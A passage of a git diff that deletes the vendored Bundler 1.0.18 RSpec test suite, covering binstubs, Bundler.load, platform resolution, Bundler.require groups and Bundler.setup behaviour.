-      should_conflict_on "baz"
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/executable_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/executable_spec.rb
deleted file mode 100644
index da3cbe8d..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/executable_spec.rb
+++ /dev/null
@@ -1,110 +0,0 @@
-require "spec_helper"
-
-describe "Running bin/* commands" do
-  before :each do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-  end
-
-  it "runs the bundled command when in the bundle" do
-    bundle "install --binstubs"
-
-    build_gem "rack", "2.0", :to_system => true do |s|
-      s.executables = "rackup"
-    end
-
-    gembin "rackup"
-    out.should == "1.0.0"
-  end
-
-  it "allows the location of the gem stubs to be specified" do
-    bundle "install --binstubs gbin"
-
-    bundled_app("bin").should_not exist
-    bundled_app("gbin/rackup").should exist
-
-    gembin bundled_app("gbin/rackup")
-    out.should == "1.0.0"
-  end
-
-  it "allows absolute paths as a specification of where to install bin stubs" do
-    bundle "install --binstubs #{tmp}/bin"
-
-    gembin tmp("bin/rackup")
-    out.should == "1.0.0"
-  end
-
-  it "runs the bundled command when out of the bundle" do
-    bundle "install --binstubs"
-
-    build_gem "rack", "2.0", :to_system => true do |s|
-      s.executables = "rackup"
-    end
-
-    Dir.chdir(tmp) do
-      gembin "rackup"
-      out.should == "1.0.0"
-    end
-  end
-
-  it "works with gems in path" do
-    build_lib "rack", :path => lib_path("rack") do |s|
-      s.executables = 'rackup'
-    end
-
-    gemfile <<-G
-      gem "rack", :path => "#{lib_path('rack')}"
-    G
-
-    bundle "install --binstubs"
-
-    build_gem 'rack', '2.0', :to_system => true do |s|
-      s.executables = 'rackup'
-    end
-
-    gembin "rackup"
-    out.should == '1.0'
-  end
-
-  it "don't bundle da bundla" do
-    build_gem "bundler", Bundler::VERSION, :to_system => true do |s|
-      s.executables = "bundle"
-    end
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "bundler"
-    G
-
-    bundle "install --binstubs"
-
-    bundled_app("bin/bundle").should_not exist
-  end
-
-  it "does not generate bin stubs if the option was not specified" do
-    bundle "install"
-
-    bundled_app("bin/rackup").should_not exist
-  end
-
-  it "remembers that the option was specified" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "activesupport"
-    G
-
-    bundle "install --binstubs"
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "activesupport"
-      gem "rack"
-    G
-
-    bundle "install"
-
-    bundled_app("bin/rackup").should exist
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/load_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/load_spec.rb
deleted file mode 100644
index 45e1f670..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/load_spec.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require "spec_helper"
-
-describe "Bundler.load" do
-  before :each do
-    system_gems "rack-1.0.0"
-    # clear memoized method results
-    # TODO: Don't reset internal ivars
-    Bundler.instance_eval do
-      @load = nil
-      @runtime = nil
-      @definition = nil
-    end
-  end
-
-  describe "with a gemfile" do
-    before(:each) do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-    end
-
-    it "provides a list of the env dependencies" do
-      Bundler.load.dependencies.should have_dep("rack", ">= 0")
-    end
-
-    it "provides a list of the resolved gems" do
-      Bundler.load.gems.should have_gem("rack-1.0.0", "bundler-#{Bundler::VERSION}")
-    end
-
-    it "ignores blank BUNDLE_GEMFILEs" do
-      lambda {
-        ENV['BUNDLE_GEMFILE'] = ""
-        Bundler.load
-      }.should_not raise_error(Bundler::GemfileNotFound)
-    end
-
-  end
-
-  describe "without a gemfile" do
-    it "raises an exception if the default gemfile is not found" do
-      lambda {
-        Bundler.load
-      }.should raise_error(Bundler::GemfileNotFound, /could not locate gemfile/i)
-    end
-
-    it "raises an exception if a specified gemfile is not found" do
-      lambda {
-        ENV['BUNDLE_GEMFILE'] = "omg.rb"
-        Bundler.load
-      }.should raise_error(Bundler::GemfileNotFound, /omg\.rb/)
-    end
-
-    it "does not find a Gemfile above the testing directory" do
-      bundler_gemfile = tmp.join("../Gemfile")
-      unless File.exists?(bundler_gemfile)
-        FileUtils.touch(bundler_gemfile)
-        @remove_bundler_gemfile = true
-      end
-      begin
-        lambda { Bundler.load }.should raise_error(Bundler::GemfileNotFound)
-      ensure
-        bundler_gemfile.rmtree if @remove_bundler_gemfile
-      end
-    end
-
-  end
-
-  describe "when called twice" do
-    it "doesn't try to load the runtime twice" do
-      system_gems "rack-1.0.0", "activesupport-2.3.5"
-      gemfile <<-G
-        gem "rack"
-        gem "activesupport", :group => :test
-      G
-
-      ruby <<-RUBY
-        require "bundler"
-        Bundler.setup :default
-        Bundler.require :default
-        puts RACK
-        begin
-          require "activesupport"
-        rescue LoadError
-          puts "no activesupport"
-        end
-      RUBY
-
-      out.split("\n").should == ["1.0.0", "no activesupport"]
-    end
-  end
-
-  describe "not hurting brittle rubygems" do
-    it "does not inject #source into the generated YAML of the gem specs" do
-      system_gems "activerecord-2.3.2", "activesupport-2.3.2"
-      gemfile <<-G
-        gem "activerecord"
-      G
-
-      Bundler.load.specs.each do |spec|
-        spec.to_yaml.should_not =~ /^\s+source:/
-        spec.to_yaml.should_not =~ /^\s+groups:/
-      end
-    end
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/platform_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/platform_spec.rb
deleted file mode 100644
index dc6c7965..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/platform_spec.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-require "spec_helper"
-
-describe "Bundler.setup with multi platform stuff" do
-  it "raises a friendly error when gems are missing locally" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0)
-
-      PLATFORMS
-        #{local_tag}
-
-      DEPENDENCIES
-        rack
-    G
-
-    ruby <<-R
-      begin
-        require 'bundler'
-        Bundler.setup
-      rescue Bundler::GemNotFound => e
-        puts "WIN"
-      end
-    R
-
-    out.should == "WIN"
-  end
-
-  it "will resolve correctly on the current platform when the lockfile was targetted for a different one" do
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          nokogiri (1.4.2-java)
-            weakling (= 0.0.3)
-          weakling (0.0.3)
-
-      PLATFORMS
-        java
-
-      DEPENDENCIES
-        nokogiri
-    G
-
-    system_gems "nokogiri-1.4.2"
-
-    simulate_platform "x86-darwin-10"
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "nokogiri"
-    G
-
-    should_be_installed "nokogiri 1.4.2"
-  end
-
-  it "will add the resolve for the current platform" do
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          nokogiri (1.4.2-java)
-            weakling (= 0.0.3)
-          weakling (0.0.3)
-
-      PLATFORMS
-        java
-
-      DEPENDENCIES
-        nokogiri
-    G
-
-    system_gems "nokogiri-1.4.2", "platform_specific-1.0-x86-darwin-100"
-
-    simulate_platform "x86-darwin-100"
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "nokogiri"
-      gem "platform_specific"
-    G
-
-    should_be_installed "nokogiri 1.4.2", "platform_specific 1.0 x86-darwin-100"
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/require_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/require_spec.rb
deleted file mode 100644
index 2f3a515d..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/require_spec.rb
+++ /dev/null
@@ -1,231 +0,0 @@
-require "spec_helper"
-
-describe "Bundler.require" do
-  before :each do
-    build_lib "one", "1.0.0" do |s|
-      s.write "lib/baz.rb", "puts 'baz'"
-      s.write "lib/qux.rb", "puts 'qux'"
-    end
-
-    build_lib "two", "1.0.0" do |s|
-      s.write "lib/two.rb", "puts 'two'"
-      s.add_dependency "three", "= 1.0.0"
-    end
-
-    build_lib "three", "1.0.0" do |s|
-      s.write "lib/three.rb", "puts 'three'"
-      s.add_dependency "seven", "= 1.0.0"
-    end
-
-    build_lib "four", "1.0.0" do |s|
-      s.write "lib/four.rb", "puts 'four'"
-    end
-
-    build_lib "five", "1.0.0", :no_default => true do |s|
-      s.write "lib/mofive.rb", "puts 'five'"
-    end
-
-    build_lib "six", "1.0.0" do |s|
-      s.write "lib/six.rb", "puts 'six'"
-    end
-
-    build_lib "seven", "1.0.0" do |s|
-      s.write "lib/seven.rb", "puts 'seven'"
-    end
-
-    gemfile <<-G
-      path "#{lib_path}"
-      gem "one", :group => :bar, :require => %w(baz qux)
-      gem "two"
-      gem "three", :group => :not
-      gem "four", :require => false
-      gem "five"
-      gem "six", :group => "string"
-      gem "seven", :group => :not
-    G
-  end
-
-  it "requires the gems" do
-    # default group
-    run "Bundler.require"
-    out.should eq("two")
-
-    # specific group
-    run "Bundler.require(:bar)"
-    out.should eq("baz\nqux")
-
-    # default and specific group
-    run "Bundler.require(:default, :bar)"
-    out.should eq("baz\nqux\ntwo")
-
-    # specific group given as a string
-    run "Bundler.require('bar')"
-    out.should eq("baz\nqux")
-
-    # specific group declared as a string
-    run "Bundler.require(:string)"
-    out.should eq("six")
-
-    # required in resolver order instead of gemfile order
-    run("Bundler.require(:not)")
-    out.split("\n").sort.should == ['seven', 'three']
-  end
-
-  it "allows requiring gems with non standard names explicitly" do
-    run "Bundler.require ; require 'mofive'"
-    out.should == "two\nfive"
-  end
-
-  it "raises an exception if a require is specified but the file does not exist" do
-    gemfile <<-G
-      path "#{lib_path}"
-      gem "two", :require => 'fail'
-    G
-
-    run <<-R
-      begin
-        Bundler.require
-      rescue LoadError => e
-        puts e.message
-      end
-    R
-    out.should == 'no such file to load -- fail'
-  end
-
-  describe "using bundle exec" do
-    it "requires the locked gems" do
-      bundle "exec ruby -e 'Bundler.require'"
-      out.should eq("two")
-
-      bundle "exec ruby -e 'Bundler.require(:bar)'"
-      out.should eq("baz\nqux")
-
-      bundle "exec ruby -e 'Bundler.require(:default, :bar)'"
-      out.should == "baz\nqux\ntwo"
-    end
-  end
-
-  describe "order" do
-    before(:each) do
-      build_lib "one", "1.0.0" do |s|
-        s.write "lib/one.rb", <<-ONE
-          if defined?(Two)
-            Two.two
-          else
-            puts "two_not_loaded"
-          end
-          puts 'one'
-        ONE
-      end
-
-      build_lib "two", "1.0.0" do |s|
-        s.write "lib/two.rb", <<-TWO
-          module Two
-            def self.two
-              puts 'module_two'
-            end
-          end
-          puts 'two'
-        TWO
-      end
-    end
-
-    it "works when the gems are in the Gemfile in the correct order" do
-      gemfile <<-G
-        path "#{lib_path}"
-        gem "two"
-        gem "one"
-      G
-
-      run "Bundler.require"
-      out.should eq("two\nmodule_two\none")
-    end
-
-    describe "a gem with different requires for different envs" do
-      before(:each) do
-        build_gem "multi_gem", :to_system => true do |s|
-          s.write "lib/one.rb", "puts 'ONE'"
-          s.write "lib/two.rb", "puts 'TWO'"
-        end
-
-        install_gemfile <<-G
-          gem "multi_gem", :require => "one", :group => :one
-          gem "multi_gem", :require => "two", :group => :two
-        G
-      end
-
-      it "requires both with Bundler.require(both)" do
-        run "Bundler.require(:one, :two)"
-        out.should == "ONE\nTWO"
-      end
-
-      it "requires one with Bundler.require(:one)" do
-        run "Bundler.require(:one)"
-        out.should == "ONE"
-      end
-
-      it "requires :two with Bundler.require(:two)" do
-        run "Bundler.require(:two)"
-        out.should == "TWO"
-      end
-    end
-
-    it "fails when the gems are in the Gemfile in the wrong order" do
-      gemfile <<-G
-        path "#{lib_path}"
-        gem "one"
-        gem "two"
-      G
-
-      run "Bundler.require"
-      out.should eq("two_not_loaded\none\ntwo")
-    end
-
-    describe "with busted gems" do
-      it "should be busted" do
-        build_gem "busted_require", :to_system => true do |s|
-          s.write "lib/busted_require.rb", "require 'no_such_file_omg'"
-        end
-
-        install_gemfile <<-G
-          gem "busted_require"
-        G
-
-        run "Bundler.require", :expect_err => true
-        err.should include("no such file to load -- no_such_file_omg")
-      end
-    end
-  end
-end
-
-describe "Bundler.require with platform specific dependencies" do
-  it "does not require the gems that are pinned to other platforms" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      platforms :#{not_local_tag} do
-        gem "fail", :require => "omgomg"
-      end
-
-      gem "rack", "1.0.0"
-    G
-
-    run "Bundler.require", :expect_err => true
-    err.should be_empty
-  end
-
-  it "requires gems pinned to multiple platforms, including the current one" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      platforms :#{not_local_tag}, :#{local_tag} do
-        gem "rack", :require => "rack"
-      end
-    G
-
-    run "Bundler.require; puts RACK", :expect_err => true
-
-    out.should eq("1.0.0")
-    err.should be_empty
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/setup_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/setup_spec.rb
deleted file mode 100644
index 44d43370..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/setup_spec.rb
+++ /dev/null
@@ -1,711 +0,0 @@
-require "spec_helper"
-
-describe "Bundler.setup" do
-  describe "with no arguments" do
-    it "makes all groups available" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", :group => :test
-      G
-
-      ruby <<-RUBY
-        require 'rubygems'
-        require 'bundler'
-        Bundler.setup
-
-        require 'rack'
-        puts RACK
-      RUBY
-      err.should eq("")
-      out.should eq("1.0.0")
-    end
-  end
-
-  describe "when called with groups" do
-    before(:each) do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", :group => :test
-      G
-    end
-
-    it "doesn't make all groups available" do
-      ruby <<-RUBY
-        require 'rubygems'
-        require 'bundler'
-        Bundler.setup(:default)
-
-        begin
-          require 'rack'
-        rescue LoadError
-          puts "WIN"
-        end
-      RUBY
-      err.should eq("")
-      out.should eq("WIN")
-    end
-
-    it "leaves all groups available if they were already" do
-      ruby <<-RUBY
-        require 'rubygems'
-        require 'bundler'
-        Bundler.setup
-        Bundler.setup(:default)
-
-        require 'rack'
-        puts RACK
-      RUBY
-      err.should eq("")
-      out.should eq("1.0.0")
-    end
-  end
-
-  it "raises if the Gemfile was not yet installed" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    ruby <<-R
-      require 'rubygems'
-      require 'bundler'
-
-      begin
-        Bundler.setup
-        puts "FAIL"
-      rescue Bundler::GemNotFound
-        puts "WIN"
-      end
-    R
-
-    out.should == "WIN"
-  end
-
-  it "doesn't create a Gemfile.lock if the setup fails" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    ruby <<-R, :expect_err => true
-      require 'rubygems'
-      require 'bundler'
-
-      Bundler.setup
-    R
-
-    bundled_app("Gemfile.lock").should_not exist
-  end
-
-  it "doesn't change the Gemfile.lock if the setup fails" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    lockfile = File.read(bundled_app("Gemfile.lock"))
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      gem "nosuchgem", "10.0"
-    G
-
-    ruby <<-R, :expect_err => true
-      require 'rubygems'
-      require 'bundler'
-
-      Bundler.setup
-    R
-
-    File.read(bundled_app("Gemfile.lock")).should == lockfile
-  end
-
-  it "makes a Gemfile.lock if setup succeeds" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    File.read(bundled_app("Gemfile.lock"))
-
-    FileUtils.rm(bundled_app("Gemfile.lock"))
-
-    run "1"
-    bundled_app("Gemfile.lock").should exist
-  end
-
-  it "uses BUNDLE_GEMFILE to locate the gemfile if present" do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    gemfile bundled_app('4realz'), <<-G
-      source "file://#{gem_repo1}"
-      gem "activesupport", "2.3.5"
-    G
-
-    ENV['BUNDLE_GEMFILE'] = bundled_app('4realz').to_s
-    bundle :install
-
-    should_be_installed "activesupport 2.3.5"
-  end
-
-  it "prioritizes gems in BUNDLE_PATH over gems in GEM_HOME" do
-    ENV['BUNDLE_PATH'] = bundled_app('.bundle').to_s
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack", "1.0.0"
-    G
-
-    build_gem "rack", "1.0", :to_system => true do |s|
-      s.write "lib/rack.rb", "RACK = 'FAIL'"
-    end
-
-    should_be_installed "rack 1.0.0"
-  end
-
-  describe "integrate with rubygems" do
-    describe "by replacing #gem" do
-      before :each do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "rack", "0.9.1"
-        G
-      end
-
-      it "replaces #gem but raises when the gem is missing" do
-        run <<-R
-          begin
-            gem "activesupport"
-            puts "FAIL"
-          rescue LoadError
-            puts "WIN"
-          end
-        R
-
-        out.should == "WIN"
-      end
-
-      it "version_requirement is now deprecated in rubygems 1.4.0+ when gem is missing" do
-        run <<-R, :expect_err => true
-          begin
-            gem "activesupport"
-            puts "FAIL"
-          rescue LoadError
-            puts "WIN"
-          end
-        R
-
-        err.should be_empty
-      end
-
-      it "replaces #gem but raises when the version is wrong" do
-        run <<-R
-          begin
-            gem "rack", "1.0.0"
-            puts "FAIL"
-          rescue LoadError
-            puts "WIN"
-          end
-        R
-
-        out.should == "WIN"
-      end
-
-      it "version_requirement is now deprecated in rubygems 1.4.0+ when the version is wrong" do
-        run <<-R, :expect_err => true
-          begin
-            gem "rack", "1.0.0"
-            puts "FAIL"
-          rescue LoadError
-            puts "WIN"
-          end
-        R
-
-        err.should be_empty
-      end
-    end
-
-    describe "by hiding system gems" do
-      before :each do
-        system_gems "activesupport-2.3.5"
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "yard"
-        G
-      end
-
-      it "removes system gems from Gem.source_index" do
-        run "require 'yard'"
-        out.should == "bundler-#{Bundler::VERSION}\nyard-1.0"
-      end
-
-      context "when the ruby stdlib is a substring of Gem.path" do
-        it "does not reject the stdlib from $LOAD_PATH" do
-          substring = "/" + $LOAD_PATH.find{|p| p =~ /vendor_ruby/ }.split("/")[2]
-          run "puts 'worked!'", :env => {"GEM_PATH" => substring}
-          out.should == "worked!"
-        end
-      end
-    end
-  end
-
-  describe "with paths" do
-    it "activates the gems in the path source" do
-      system_gems "rack-1.0.0"
-
-      build_lib "rack", "1.0.0" do |s|
-        s.write "lib/rack.rb", "puts 'WIN'"
-      end
-
-      gemfile <<-G
-        path "#{lib_path('rack-1.0.0')}"
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-
-      run "require 'rack'"
-      out.should == "WIN"
-    end
-  end
-
-  describe "with git" do
-    before do
-      build_git "rack", "1.0.0"
-
-      gemfile <<-G
-        gem "rack", :git => "#{lib_path('rack-1.0.0')}"
-      G
-    end
-
-    it "provides a useful exception when the git repo is not checked out yet" do
-      run "1", :expect_err => true
-      err.should include("#{lib_path('rack-1.0.0')} (at master) is not checked out. Please run `bundle install`")
-    end
-
-    it "does not hit the git binary if the lockfile is available and up to date" do
-      bundle "install"
-
-      break_git!
-
-      ruby <<-R
-        require 'rubygems'
-        require 'bundler'
-
-        begin
-          Bundler.setup
-          puts "WIN"
-        rescue Exception => e
-          puts "FAIL"
-        end
-      R
-
-      out.should == "WIN"
-    end
-
-    it "provides a good exception if the lockfile is unavailable" do
-      bundle "install"
-
-      FileUtils.rm(bundled_app("Gemfile.lock"))
-
-      break_git!
-
-      ruby <<-R
-        require "rubygems"
-        require "bundler"
-
-        begin
-          Bundler.setup
-          puts "FAIL"
-        rescue Bundler::GitError => e
-          puts e.message
-        end
-      R
-
-      run "puts 'FAIL'", :expect_err => true
-
-      err.should_not include "This is not the git you are looking for"
-    end
-
-    it "works even when the cache directory has been deleted" do
-      bundle "install --path vendor/bundle"
-      FileUtils.rm_rf vendored_gems('cache')
-      should_be_installed "rack 1.0.0"
-    end
-
-    it "does not randomly change the path when specifying --path and the bundle directory becomes read only" do
-      begin
-        bundle "install --path vendor/bundle"
-
-        Dir["**/*"].each do |f|
-          File.directory?(f) ?
-            File.chmod(0555, f) :
-            File.chmod(0444, f)
-        end
-        should_be_installed "rack 1.0.0"
-      ensure
-        Dir["**/*"].each do |f|
-          File.directory?(f) ?
-            File.chmod(0755, f) :
-            File.chmod(0644, f)
-        end
-      end
-    end
-  end
-
-  describe "when excluding groups" do
-    it "doesn't change the resolve if --without is used" do
-      install_gemfile <<-G, :without => :rails
-        source "file://#{gem_repo1}"
-        gem "activesupport"
-
-        group :rails do
-          gem "rails", "2.3.2"
-        end
-      G
-
-      install_gems "activesupport-2.3.5"
-
-      should_be_installed "activesupport 2.3.2", :groups => :default
-    end
-
-    it "remembers --without and does not bail on bare Bundler.setup" do
-      install_gemfile <<-G, :without => :rails
-        source "file://#{gem_repo1}"
-        gem "activesupport"
-
-        group :rails do
-          gem "rails", "2.3.2"
-        end
-      G
-
-      install_gems "activesupport-2.3.5"
-
-      should_be_installed "activesupport 2.3.2"
-    end
-
-    it "remembers --without and does not include groups passed to Bundler.setup" do
-      install_gemfile <<-G, :without => :rails
-        source "file://#{gem_repo1}"
-        gem "activesupport"
-
-        group :rack do
-          gem "rack"
-        end
-
-        group :rails do
-          gem "rails", "2.3.2"
-        end
-      G
-
-      should_not_be_installed "activesupport 2.3.2", :groups => :rack
-      should_be_installed "rack 1.0.0", :groups => :rack
-    end
-  end
-
-  # Unfortunately, gem_prelude does not record the information about
-  # activated gems, so this test cannot work on 1.9 :(
-  if RUBY_VERSION < "1.9"
-    describe "preactivated gems" do
-      it "raises an exception if a pre activated gem conflicts with the bundle" do
-        system_gems "thin-1.0", "rack-1.0.0"
-        build_gem "thin", "1.1", :to_system => true do |s|
-          s.add_dependency "rack"
-        end
-
-        gemfile <<-G
-          gem "thin", "1.0"
-        G
-
-        ruby <<-R
-          require 'rubygems'
-          gem "thin"
-          require 'bundler'
-          begin
-            Bundler.setup
-            puts "FAIL"
-          rescue Gem::LoadError => e
-            puts e.message
-          end
-        R
-
-        out.should == "You have already activated thin 1.1, but your Gemfile requires thin 1.0. Consider using bundle exec."
-      end
-
-      it "version_requirement is now deprecated in rubygems 1.4.0+" do
-        system_gems "thin-1.0", "rack-1.0.0"
-        build_gem "thin", "1.1", :to_system => true do |s|
-          s.add_dependency "rack"
-        end
-
-        gemfile <<-G
-          gem "thin", "1.0"
-        G
-
-        ruby <<-R, :expect_err => true
-          require 'rubygems'
-          gem "thin"
-          require 'bundler'
-          begin
-            Bundler.setup
-            puts "FAIL"
-          rescue Gem::LoadError => e
-            puts e.message
-          end
-        R
-
-        err.should be_empty
-      end
-    end
-  end
-
-  # Rubygems returns loaded_from as a string
-  it "has loaded_from as a string on all specs" do
-    build_git "foo"
-    build_git "no-gemspec", :gemspec => false
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-      gem "foo", :git => "#{lib_path('foo-1.0')}"
-      gem "no-gemspec", "1.0", :git => "#{lib_path('no-gemspec-1.0')}"
-    G
-
-    run <<-R
-      Gem.loaded_specs.each do |n, s|
-        puts "FAIL" unless String === s.loaded_from
-      end
-    R
-
-    out.should be_empty
-  end
-
-  it "ignores empty gem paths" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-
-    ENV["GEM_HOME"] = ""
-    bundle %{exec ruby -e "require 'set'"}
-
-    err.should be_empty
-  end
-
-  it "should prepend gemspec require paths to $LOAD_PATH in order" do
-    update_repo2 do
-      build_gem("requirepaths") do |s|
-        s.write("lib/rq.rb", "puts 'yay'")
-        s.write("src/rq.rb", "puts 'nooo'")
-        s.require_paths = ["lib", "src"]
-      end
-    end
-
-    install_gemfile <<-G
-      source "file://#{gem_repo2}"
-      gem "requirepaths", :require => nil
-    G
-
-    run "require 'rq'"
-    out.should == "yay"
-  end
-
-  it "ignores Gem.refresh" do
-    system_gems "rack-1.0.0"
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "activesupport"
-    G
-
-    run <<-R
-      Gem.refresh
-      puts Bundler.rubygems.find_name("rack").inspect
-    R
-
-    out.should == "[]"
-  end
-
-  describe "when a vendored gem specification uses the :path option" do
-    it "should resolve paths relative to the Gemfile" do
-      path = bundled_app(File.join('vendor', 'foo'))
-      build_lib "foo", :path => path
-
-      # If the .gemspec exists, then Bundler handles the path differently.
-      # See Source::Path.load_spec_files for details.
-      FileUtils.rm(File.join(path, 'foo.gemspec'))
-
-      install_gemfile <<-G
-        gem 'foo', '1.2.3', :path => 'vendor/foo'
-      G
-
-      Dir.chdir(bundled_app.parent) do
-        run <<-R, :env => {"BUNDLE_GEMFILE" => bundled_app('Gemfile')}
-          require 'foo'
-        R
-      end
-      err.should == ""
-    end
-  end
-
-  describe "with git gems that don't have gemspecs" do
-    before :each do
-      build_git "no-gemspec", :gemspec => false
-
-      install_gemfile <<-G
-        gem "no-gemspec", "1.0", :git => "#{lib_path('no-gemspec-1.0')}"
-      G
-    end
-
-    it "loads the library via a virtual spec" do
-      run <<-R
-        require 'no-gemspec'
-        puts NOGEMSPEC
-      R
-
-      out.should == "1.0"
-    end
-  end
-
-  describe "with bundled and system gems" do
-    before :each do
-      system_gems "rack-1.0.0"
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-
-        gem "activesupport", "2.3.5"
-      G
-    end
-
-    it "does not pull in system gems" do
-      run <<-R
-        require 'rubygems'
-
-        begin;
-          require 'rack'
-        rescue LoadError
-          puts 'WIN'
-        end
-      R
-
-      out.should == "WIN"
-    end
-
-    it "provides a gem method" do
-      run <<-R
-        gem 'activesupport'
-        require 'activesupport'
-        puts ACTIVESUPPORT
-      R
-
-      out.should == "2.3.5"
-    end
-
-    it "raises an exception if gem is used to invoke a system gem not in the bundle" do
-      run <<-R
-        begin
-          gem 'rack'
-        rescue LoadError => e
-          puts e.message
-        end
-      R
-
-      out.should == "rack is not part of the bundle. Add it to Gemfile."
-    end
-
-    it "sets GEM_HOME appropriately" do
-      run "puts ENV['GEM_HOME']"
-      out.should == default_bundle_path.to_s
-    end
-  end
-
-  describe "with system gems in the bundle" do
-    before :each do
-      system_gems "rack-1.0.0"
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", "1.0.0"
-        gem "activesupport", "2.3.5"
-      G
-    end
-
-    it "sets GEM_PATH appropriately" do
-      run "puts Gem.path"
-      paths = out.split("\n")
-      paths.should include(system_gem_path.to_s)
-      paths.should include(default_bundle_path.to_s)
-    end
-  end
-
-  describe "with a gemspec that requires other files" do
-    before :each do
-      build_git "bar", :gemspec => false do |s|
-        s.write "lib/bar/version.rb", %{BAR_VERSION = '1.0'}
-        s.write "bar.gemspec", <<-G
-          lib = File.expand_path('../lib/', __FILE__)
-          $:.unshift lib unless $:.include?(lib)
-          require 'bar/version'
-
-          Gem::Specification.new do |s|
-            s.name        = 'bar'
-            s.version     = BAR_VERSION
-            s.summary     = 'Bar'
-            s.files       = Dir["lib/**/*.rb"]
-          end
-        G
-      end
-
-      gemfile <<-G
-        gem "bar", :git => "#{lib_path('bar-1.0')}"
-      G
-    end
-
-    it "evals each gemspec in the context of its parent directory" do
-      bundle :install
-      run "require 'bar'; puts BAR"
-      out.should == "1.0"
-    end
-
-    it "error intelligently if the gemspec has a LoadError" do
-      update_git "bar", :gemspec => false do |s|
-        s.write "bar.gemspec", "require 'foobarbaz'"
-      end
-      bundle :install
-      out.should include("was a LoadError while evaluating bar.gemspec")
-      out.should include("foobarbaz")
-      out.should include("bar.gemspec:1")
-      out.should include("try to require a relative path") if RUBY_VERSION >= "1.9.0"
-    end
-
-    it "evals each gemspec with a binding from the top level" do
-      bundle "install"
-
-      ruby <<-RUBY
-        require 'bundler'
-        def Bundler.require(path)
-          raise "LOSE"
-        end
-        Bundler.load
-      RUBY
-
-      err.should eq("")
-      out.should eq("")
-    end
-  end
-
-  describe "when Bundler is bundled" do
-    it "doesn't blow up" do
-      install_gemfile <<-G
-        gem "bundler", :path => "#{File.expand_path("..", lib)}"
-      G
-
-      bundle %|exec ruby -e "require 'bundler'; Bundler.setup"|
-      err.should be_empty
-    end
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/with_clean_env_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/with_clean_env_spec.rb
deleted file mode 100644
index 51ecc29e..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/runtime/with_clean_env_spec.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require "spec_helper"
-
-describe "Bundler.with_clean_env" do
-
-  it "should reset and restore the environment" do
-    gem_path = ENV['GEM_PATH']
-
-    Bundler.with_clean_env do
-      `echo $GEM_PATH`.strip.should_not == gem_path
-    end
-
-    ENV['GEM_PATH'].should == gem_path
-  end
-
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/spec_helper.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/spec_helper.rb
deleted file mode 100644
index fc7ccebf..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/spec_helper.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-$:.unshift File.expand_path('..', __FILE__)
-$:.unshift File.expand_path('../../lib', __FILE__)
-
-require 'fileutils'
